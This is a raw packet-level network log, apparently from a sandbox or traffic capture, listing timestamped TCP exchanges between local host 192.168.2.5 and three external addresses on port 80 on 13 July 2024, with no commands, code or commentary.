Jul 13, 2024 07:07:02.883503914 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883526087 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883546114 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883559942 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883579969 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883591890 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883608103 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883624077 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883658886 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883666039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883666039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883781910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883816004 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883848906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883882999 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883894920 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883934021 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883969069 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.883987904 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.883997917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884031057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884053946 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884064913 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884078026 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884078026 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884099960 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884123087 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884140015 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884140968 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884174109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884206057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884217024 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884217024 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884249926 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884356022 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884383917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884416103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884433985 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884433985 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884450912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884490013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884490013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884515047 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884555101 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884594917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884619951 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884649038 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884682894 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884704113 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884717941 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884749889 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884773016 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884783983 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884823084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884823084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884831905 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884862900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884896994 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884911060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884911060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884923935 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.884970903 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.884970903 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924134970 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924209118 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924245119 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924264908 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924278975 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924314976 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924314976 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924336910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924349070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924384117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924395084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924395084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924418926 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924453020 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924462080 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924462080 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924503088 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924524069 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924602985 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924637079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924659967 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924670935 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924701929 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924709082 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.924751043 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.924751043 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:03.623724937 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:03.628691912 CEST	80	58980	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:03.628761053 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:03.629035950 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:03.634815931 CEST	80	58980	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:03.637381077 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:03.643325090 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:03.643475056 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:03.740897894 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:03.747030020 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:03.747114897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:03.747293949 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:03.752254963 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.317310095 CEST	80	58980	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:04.317377090 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.321053982 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.321377039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.326632023 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:04.326653004 CEST	80	58980	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:04.326704025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.326731920 CEST	58980	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.327316046 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:04.332272053 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:04.372945070 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.373136044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.374383926 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.379715919 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.553234100 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.553266048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.553442001 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.555587053 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.560518980 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736460924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736504078 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736519098 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.736530066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736546993 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736562967 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736567020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.736579895 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.736614943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.736614943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.741661072 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.746900082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.920633078 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.920758009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.961049080 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.961129904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:04.966293097 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966331959 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966358900 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966386080 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966671944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966698885 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:04.966730118 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.044408083 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044431925 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044446945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044461966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044477940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044507980 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044523954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044539928 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044555902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044570923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.044675112 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.044676065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.044676065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.044676065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.050012112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.050060987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.050075054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.050098896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.050112009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.050147057 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.156681061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.156765938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.171277046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171356916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171361923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171477079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171525955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171530962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171565056 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171580076 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171612024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171710968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171746016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171781063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171785116 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171797991 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171850920 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171865940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171902895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.171914101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.171957016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.172899008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.172947884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.172985077 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173000097 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173019886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173033953 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173058987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173070908 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173106909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173841000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173890114 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173926115 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173926115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.173938036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.173963070 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.174000025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.174000978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.174010992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.174046993 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.174524069 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.174580097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.174604893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.174616098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.174629927 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.174685955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.176217079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.176251888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.176268101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.176296949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.176450014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.176608086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.299947977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300002098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300069094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300451994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300512075 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300555944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300611019 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300640106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300658941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300674915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300699949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300709963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300719976 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300741911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300753117 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300777912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300789118 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300811052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300847054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300856113 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300882101 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300888062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300916910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300925970 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300950050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.300965071 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.300991058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301002979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301038027 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301074028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301084995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301100016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301136017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301158905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301168919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301182985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301206112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301212072 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301240921 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301250935 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301275969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301285028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301310062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301317930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301343918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301352024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301383018 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301398039 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301430941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301464081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301472902 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301496983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301502943 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301531076 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301541090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301564932 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301570892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301599979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301604033 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301623106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301637888 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301639080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301654100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301666975 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301671028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301691055 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301697016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301718950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301723003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301737070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301740885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301758051 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301765919 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301779985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301795959 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301855087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301871061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301886082 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301892996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301903963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.301914930 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301928043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301939011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.301990032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.302027941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.302064896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.302082062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.302098036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.302115917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.302126884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.302145004 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.302166939 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.306782961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.306806087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.306823969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.306838989 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.306876898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.306876898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.393719912 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.399075031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.427284956 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427351952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427359104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427390099 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427407980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427426100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427438974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427464008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427472115 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427500010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427532911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427546978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427563906 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427578926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427613974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.427617073 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.427653074 CEST	80	58982	77.91.77.81	192.168.2.5
